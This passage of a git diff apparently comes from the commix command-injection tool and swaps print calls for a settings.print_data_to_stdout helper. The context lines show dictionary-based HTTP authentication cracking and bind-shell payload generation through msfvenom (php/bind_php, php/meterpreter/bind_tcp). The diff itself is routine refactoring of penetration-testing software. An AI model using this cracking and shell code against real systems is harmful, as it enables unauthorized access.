exist." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if len(passwords_txt_file) == 0: err_msg = "The specified file '" + str(passwords_txt_file) + "' seems empty." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() with open(passwords_txt_file, "r") as f: for line in f: @@ -132,7 +132,7 @@ def define_wordlists(): passwords.append(line) except IOError: err_msg = " Check if file '" + str(passwords_txt_file) + "' is readable or corrupted." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() return usernames, passwords @@ -156,10 +156,10 @@ def http_auth_cracker(url, realm, http_request_method): if settings.VERBOSITY_LEVEL != 0: payload = "'" + username + ":" + password + "'" if settings.VERBOSITY_LEVEL >= 2: - print(settings.print_checking_msg(payload)) + settings.print_data_to_stdout(settings.print_checking_msg(payload)) else: - sys.stdout.write("\r" + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * 10) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * 10) + try: # Basic authentication if authentication_type.lower() == settings.AUTH_TYPE.BASIC: @@ -198,22 +198,22 @@ def http_auth_cracker(url, realm, http_request_method): if settings.VERBOSITY_LEVEL == 0: info_msg = "Checking for valid pair of HTTP authentication credentials." info_msg += float_percent - sys.stdout.write("\r\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout("\r\r" + settings.print_info_msg(info_msg)) + if found: valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Identified valid pair of HTTP authentication credentials: '" info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) return valid_pair err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " err_msg += "or place an other dictionary into '" err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory." - print("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) return False # eof \ No newline at end of file diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index af46d2ac85..dc08d23916 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -50,7 +50,7 @@ def http_response_content(content): content = content.decode(settings.DEFAULT_CODEC) if settings.VERBOSITY_LEVEL >= 4: content = checks.remove_empty_lines(content) - print(settings.print_http_response_content(content)) + settings.print_data_to_stdout(settings.print_http_response_content(content)) if menu.options.traffic_file: logs.log_traffic(content) logs.log_traffic("\n\n" + "#" * 77 + "\n\n") @@ -63,7 +63,7 @@ def http_response(headers, code): for header in response_http_headers: if len(header) > 1: if settings.VERBOSITY_LEVEL >= 3: - print(settings.print_traffic(header)) + settings.print_data_to_stdout(settings.print_traffic(header)) if menu.options.traffic_file: logs.log_traffic("\n" + header) if menu.options.traffic_file: @@ -75,20 +75,20 @@ def http_response(headers, code): def print_http_response(response_headers, code, page): if int(code) in settings.ABORT_CODE: err_msg = "Aborting due to detected HTTP code '" + str(code) + "'. " - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.VERBOSITY_LEVEL >= 3 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 3: resp_msg = "HTTP response [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):" - print(settings.print_response_msg(resp_msg)) + settings.print_data_to_stdout(settings.print_response_msg(resp_msg)) if menu.options.traffic_file: resp_msg = "HTTP response [#" + str(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):" logs.log_traffic("\n" + resp_msg) http_response(response_headers, code) if settings.VERBOSITY_LEVEL >= 4 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 4: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) try: http_response_content(page) except AttributeError: @@ -115,10 +115,10 @@ def send(self, req): if settings.USER_DEFINED_POST_DATA and \ len(request_http_headers) == 1 and \ settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) for header in request_http_headers: if settings.VERBOSITY_LEVEL >= 2: - print(settings.print_traffic(header)) + settings.print_data_to_stdout(settings.print_traffic(header)) if menu.options.traffic_file: logs.log_traffic("\n" + header) http_client.send(self, req) @@ -132,7 +132,7 @@ def print_http_response(self): if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 2: req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" - print(settings.print_request_msg(req_msg)) + settings.print_data_to_stdout(settings.print_request_msg(req_msg)) if menu.options.traffic_file: req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:" logs.log_traffic(req_msg) @@ -180,9 +180,9 @@ def https_open(self, req): except ValueError as err: if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Invalid target URL has been given." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except AttributeError: @@ -245,7 +245,7 @@ def https_open(self, req): not str(err.code) == settings.BAD_REQUEST and \ not settings.CRAWLED_URLS_NUM != 0 and \ not settings.MULTI_TARGETS) and settings.CRAWLED_SKIPPED_URLS_NUM != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): settings.HTTP_ERROR_CODES_SUM.append(err.code) @@ -260,7 +260,7 @@ def https_open(self, req): else: err_msg = error_msg - print(settings.print_critical_msg(err_msg + ").")) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) raise SystemExit() """ @@ -312,7 +312,7 @@ def do_check(request): if menu.options.auth_cred and menu.options.auth_type: if menu.options.auth_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST, settings.AUTH_TYPE.BEARER): err_msg = "HTTP authentication type value must be Basic, Digest or Bearer." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.auth_type.lower() == settings.AUTH_TYPE.BEARER: request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip()) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index e6db9303f7..903cd8f86e 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -71,7 +71,7 @@ def multi_params_get_value(parameter): err_msg = "No parameter(s) found for testing in the provided data. " if not menu.options.crawldepth: err_msg += "You are advised to rerun with '--crawl=2'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.shellshock: return False @@ -91,7 +91,7 @@ def multi_params_get_value(parameter): multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) multi_parameters = [x for x in multi_parameters if x] except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): @@ -326,7 +326,7 @@ def json_format(parameter): try: multi_parameters = parameter.split(settings.PARAMETER_DELIMITER) except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check for inappropriate format in provided parameter(s). @@ -483,7 +483,7 @@ def vuln_POST_param(parameter, url): # XML data format. elif settings.IS_XML: - parameters = list(parameter.replace(">" + settings.END_LINE[1] + "" + settings.END_LINE.LF + "'), '', item) @@ -586,7 +586,7 @@ def multi_params_get_value(parameter): try: multi_parameters = cookie.split(settings.COOKIE_DELIMITER) except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index ed7abe4631..5d0f122ad6 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -49,6 +49,6 @@ def use_proxy(request): def do_check(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP proxy for all HTTP requests. " - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) # eof \ No newline at end of file diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 32b03e8d20..5adc02792a 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -57,7 +57,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): ) else: err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") - print(settings.print_critical_msg(err_msg + ").")) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) raise SystemExit() try: @@ -76,14 +76,14 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): while True: if not settings.FOLLOW_REDIRECT: if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + redirect_url message += "'. Do you want to follow? [Y/n] > " redirection_option = common.read_input(message, default="Y", check_batch=True) if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True info_msg = "Following redirection to '" + redirect_url + "'. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.CRAWLING: settings.HREF_SKIPPED.append(url) return checks.check_http_s(redirect_url) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 9215b33ae7..3969cd193a 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -69,7 +69,7 @@ def crawler_request(url, http_request_method): settings.CRAWLED_SKIPPED_URLS_NUM += 1 if settings.SITEMAP_XML_FILE in url and settings.NOT_FOUND_ERROR in str(err_msg): warn_msg = "'" + settings.SITEMAP_XML_FILE + "' not found." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: request_failed(err_msg) @@ -82,8 +82,8 @@ def estimate_response_time(url, timesec, http_request_method): _ = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Estimating the target URL response time. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Check if defined POST data if menu.options.data: request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC), method=http_request_method) @@ -98,13 +98,11 @@ def estimate_response_time(url, timesec, http_request_method): response.close() _ = True except _http_client.InvalidURL as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except _urllib.error.HTTPError as err: ignore_start = time.time() - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) if settings.UNAUTHORIZED_ERROR in str(err) and int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: pass else: @@ -114,7 +112,7 @@ def estimate_response_time(url, timesec, http_request_method): except IndexError: err_msg += " (" + str(err) + ")." if str(err.getcode()) != settings.UNAUTHORIZED_ERROR: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) # Check for HTTP Error 401 (Unauthorized). else: try: @@ -132,14 +130,14 @@ def estimate_response_time(url, timesec, http_request_method): except ValueError: err_msg = "The identified HTTP authentication type (" + str(auth_type) + ") " err_msg += "is not yet supported." - print(settings.print_critical_msg(err_msg) + "\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except IndexError: err_msg = "The provided pair of " + str(menu.options.auth_type) err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'" err_msg += " seems to be invalid." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.auth_type and menu.options.auth_type != auth_type.lower(): @@ -158,14 +156,14 @@ def estimate_response_time(url, timesec, http_request_method): menu.options.auth_cred = stored_auth_creds info_msg = "Identified a previously stored valid pair of credentials '" info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else: # Basic authentication if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: message = "Do you want to perform a dictionary-based attack? [Y/n] > " do_update = common.read_input(message, default="Y", check_batch=True) @@ -190,11 +188,11 @@ def estimate_response_time(url, timesec, http_request_method): if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # Check if failed to identify the realm attribute. if not realm: warn_msg = "Failed to identify the realm attribute." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: message = "Do you want to perform a dictionary-based attack? [Y/n] > " do_update = common.read_input(message, default="Y", check_batch=True) @@ -223,9 +221,7 @@ def estimate_response_time(url, timesec, http_request_method): except ValueError as err_msg: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(str(err_msg) + ".")) + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg) + ".")) raise SystemExit() except Exception as err_msg: @@ -234,8 +230,8 @@ def estimate_response_time(url, timesec, http_request_method): end = time.time() diff = end - start - if settings.VERBOSITY_LEVEL != 0 and _: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0 and _: + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if int(diff) < 1: url_time_response = int(diff) @@ -243,7 +239,7 @@ def estimate_response_time(url, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " warn_msg += "host, there might be delays during the data extraction procedure." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) url_time_response = int(round(diff)) warn_msg = "Target's estimated response time is " + str(url_time_response) warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" @@ -253,7 +249,7 @@ def estimate_response_time(url, timesec, http_request_method): if url_time_response >= 3: warn_msg += " and/or possible corruptions over the extracted data" warn_msg += "." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if int(timesec) == int(url_time_response): timesec = int(timesec) + int(url_time_response) @@ -285,7 +281,7 @@ def request_failed(err_msg): err_msg += "Please make sure that you have " err_msg += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " err_msg += "so you could be able to successfully use switch '--tor'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): @@ -293,7 +289,7 @@ def request_failed(err_msg): error_msg = "Can't establish SSL connection. " if settings.MULTI_TARGETS or settings.CRAWLING: error_msg = error_msg + "Skipping to the next target." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: raise SystemExit() else: @@ -314,7 +310,7 @@ def request_failed(err_msg): if settings.MULTI_TARGETS or settings.CRAWLING: err = err + "Skipping to the next target." error_msg = err - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: raise SystemExit() else: @@ -337,7 +333,7 @@ def request_failed(err_msg): err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " if settings.MULTI_TARGETS or settings.CRAWLING: err_msg += "Skipping to the next target." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) if not settings.CRAWLING: if menu.options.auth_type and menu.options.auth_cred: raise SystemExit() @@ -358,7 +354,7 @@ def request_failed(err_msg): status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) warn_msg += "' which could interfere with the results of the tests." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): return False return True @@ -373,7 +369,7 @@ def request_failed(err_msg): error_msg += "In case that it is, " error_msg += "you can try to rerun with " error_msg += " and/or ".join(items) - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: raise SystemExit() else: @@ -384,8 +380,8 @@ def request_failed(err_msg): return False elif settings.IGNORE_ERR_MSG == False: - if menu.options.skip_heuristics and settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + # if menu.options.skip_heuristics and settings.VERBOSITY_LEVEL == 0: + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True @@ -400,9 +396,9 @@ def request_failed(err_msg): if settings.VERBOSITY_LEVEL >= 1: if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: debug_msg = "Got " + str(err_msg) - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) return False """ @@ -655,7 +651,7 @@ def encoding_detection(response): charset_detected = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the web page charset." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: # Detecting charset try: @@ -681,18 +677,18 @@ def encoding_detection(response): settings.DEFAULT_PAGE_ENCODING = charset if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: warn_msg = "The web page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: if settings.VERBOSITY_LEVEL != 0: debug_msg = "The web page charset appears to be " + settings.DEFAULT_PAGE_ENCODING + "." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) else: pass except: pass if charset_detected == False and settings.VERBOSITY_LEVEL != 0: warn_msg = "Failed to identify the web page charset." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Procedure for target application identification @@ -701,7 +697,7 @@ def application_identification(url): found_application_extension = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the target application." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) root, application_extension = splitext(_urllib.parse.urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() @@ -709,19 +705,19 @@ def application_identification(url): found_application_extension = True if settings.VERBOSITY_LEVEL != 0: debug_msg = "The target application appears to be " + settings.TARGET_APPLICATION + "." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) # Check for unsupported target applications for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if not found_application_extension: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Failed to identify target's application." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Underlying operating system check. @@ -735,7 +731,7 @@ def check_os(_): if match: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the underlying operating system." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) settings.IDENTIFIED_TARGET_OS = True settings.TARGET_OS = match.group(0) match = re.search(r"microsoft|win", settings.TARGET_OS) @@ -748,7 +744,7 @@ def check_os(_): settings.TARGET_OS = settings.OS.WINDOWS if menu.options.shellshock: err_msg = "The shellshock module ('--shellshock') is not available for " + identified_os + " targets." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: identified_os = "Unix-like (" + settings.TARGET_OS + ")" @@ -759,7 +755,7 @@ def check_os(_): if settings.VERBOSITY_LEVEL != 0 : if settings.IDENTIFIED_TARGET_OS: debug_msg = "The underlying operating system appears to be " + identified_os.title() + "." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ Target application identification @@ -768,18 +764,18 @@ def technology_identification(response): x_powered_by = response.info()[settings.X_POWERED_BY] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the technology supporting the target application." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: if len(x_powered_by) != 0: if settings.VERBOSITY_LEVEL != 0: debug_msg = "The target application is powered by " + x_powered_by + "." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) check_os(x_powered_by) except Exception as e: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Failed to identify the technology supporting the target application." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Target server's identification. @@ -787,7 +783,7 @@ def technology_identification(response): def server_identification(response): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the software used by target server." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) server_banner = response.info()[settings.SERVER] for i in range(0,len(settings.SERVER_BANNERS)): @@ -808,7 +804,7 @@ def server_identification(response): if len(server_banner) != 0 and settings.VERBOSITY_LEVEL != 0: debug_msg = "The target server's software appears to be " + server_banner + "." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ @@ -821,7 +817,7 @@ def os_identification(response): if not settings.IDENTIFIED_TARGET_OS and not menu.options.os: warn_msg = "Failed to identify server's underlying operating system." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) checks.define_target_os() """ diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index ea05fceb9e..fd2e0b0944 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -34,15 +34,15 @@ def tor_connection_error(): err_msg += "try again using option '--tor-port'." else: err_msg += "check again the provided option '--tor-port'." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise SystemExit() def do_check(): info_msg = "Testing Tor HTTP proxy settings." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.offline: err_msg = "You cannot use Tor network while offline." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() try: request = _urllib.request.Request(settings.CHECK_TOR_PAGE, method=settings.HTTPMETHOD.GET) @@ -54,6 +54,6 @@ def do_check(): tor_connection_error() else: info_msg = "Connection with the Tor HTTP proxy is properly set. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # eof \ No newline at end of file diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 5e4072972c..25934c5a83 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -31,7 +31,7 @@ def shell_options(option): if option.lower() == "bind_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() elif option.lower() == "quit" or option.lower() == "exit": @@ -42,7 +42,7 @@ def shell_options(option): if option[4:10].lower() == "lhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) if option[4:10].lower() == "lport ": check_lport(option[10:]) else: @@ -53,24 +53,24 @@ def shell_options(option): """ def shell_success(): info_msg = "Everything is in place, cross your fingers and check for bind shell (on port " + settings.LPORT + ").\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ Error msg if the attack vector is available only for Windows targets. """ def windows_only_attack_vector(): error_msg = "This attack vector is available only for Windows targets." - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) """ Message regarding the MSF handler. """ def msf_launch_msg(output): info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) info_msg = "Once the loading is done, press here any key to continue..." - sys.stdout.write(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) sys.stdin.readline().replace("\n", "") # Remove the ouput file. os.remove(output) @@ -140,7 +140,7 @@ def set_python_interpreter(): """ def check_rhost(rhost): settings.RHOST = rhost - print("RHOST => " + settings.RHOST) + settings.print_data_to_stdout("RHOST => " + settings.RHOST) return True """ @@ -150,11 +150,11 @@ def check_lport(lport): try: if float(lport): settings.LPORT = lport - print("LPORT => " + settings.LPORT) + settings.print_data_to_stdout("LPORT => " + settings.LPORT) return True except ValueError: err_msg = "The provided port must be numeric (i.e. 1234)" - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) return False @@ -255,15 +255,15 @@ def other_bind_shells(separator): if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "php/bind_php" output = "php_bind_tcp.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + @@ -274,7 +274,7 @@ def other_bind_shells(separator): data = content_file.readlines() data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -291,7 +291,7 @@ def other_bind_shells(separator): other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break @@ -346,15 +346,15 @@ def other_bind_shells(separator): if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "php/meterpreter/bind_tcp" output = "php_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + @@ -365,7 +365,7 @@ def other_bind_shells(separator): data = content_file.readlines() data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -382,7 +382,7 @@ def other_bind_shells(separator): other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # Python-bind-shell(meterpreter) @@ -390,15 +390,15 @@ def other_bind_shells(separator): if not os.path.exists(settings.METASPLOIT_PATH): error_msg = 